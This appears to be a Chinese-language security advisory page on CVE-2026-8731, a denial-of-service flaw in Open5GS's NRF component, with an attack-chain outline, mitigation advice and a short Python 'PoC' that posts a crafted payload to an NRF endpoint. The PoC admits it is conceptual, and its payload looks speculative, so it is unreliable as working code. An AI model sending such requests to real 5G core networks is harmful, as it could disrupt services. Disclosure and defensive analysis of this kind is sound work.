IPBUF安全漏洞报告
English
CVE-2026-8731 CVSS 4.3 中危

CVE-2026-8731 Open5GS NRF组件拒绝服务漏洞

披露日期: 2026-05-17

漏洞信息

漏洞编号
CVE-2026-8731
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

Open5GS拒绝服务DoSNRF5G安全远程漏洞

漏洞概述

Open5GS 2.7.7及之前版本的NRF组件存在拒绝服务漏洞。攻击者可远程操纵client_pool参数,利用ogs_sbi_client_add函数中的缺陷导致服务崩溃,影响系统可用性。

技术细节

该漏洞位于Open5GS项目NRF(网络存储库功能)的/lib/sbi/client.c文件中的ogs_sbi_client_add函数。由于在处理client_pool参数时未对输入数据进行严格的边界检查或类型验证,攻击者可以通过构造恶意的SBI(Service Based Interface)请求包来操纵该参数。这种操纵可能导致系统在分配内存或管理客户端连接池时发生逻辑错误,进而引发段错误或资源耗尽。由于NRF负责网络功能注册和发现,其崩溃将导致整个5G核心网的服务中断,且攻击者无需用户交互即可远程触发此漏洞。

攻击链分析

STEP 1
侦察阶段
攻击者扫描网络发现Open5GS NRF组件的SBI接口暴露情况。
STEP 2
漏洞利用
攻击者向目标发送特制的恶意SBI请求包,其中包含被操纵的client_pool参数。
STEP 3
触发崩溃
Open5GS处理该请求时,ogs_sbi_client_add函数逻辑错误导致内存异常或资源耗尽。
STEP 4
达成影响
NRF服务进程崩溃或停止响应,导致5G核心网管理功能瘫痪,实现拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual NRF interface) target_url = "http://target-open5gs-nrf:8000/nnrf-nfm/v1/nf-instances" # Malformed payload attempting to trigger client_pool manipulation # This is a conceptual PoC based on the vulnerability description. # The exact payload structure depends on the Open5GS SBI API implementation. malicious_payload = { "nfInstanceID": "test", "nfType": "AMF", # Manipulating fields that might affect internal client_pool allocation "customData": {"client_pool": "overflow_trigger"} } try: response = requests.post(target_url, json=malicious_payload) print(f"Sent payload. Status Code: {response.status_code}") # Check if service is down or behaving unexpectedly except Exception as e: print(f"Potential DoS triggered or connection error: {e}")

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
由于官方尚未发布补丁(根据描述),建议通过防火墙严格限制对Open5GS NRF服务端口的访问,仅允许内网受信任的网元组件(如AMF、SMF)进行通信,阻断外部攻击者的利用路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表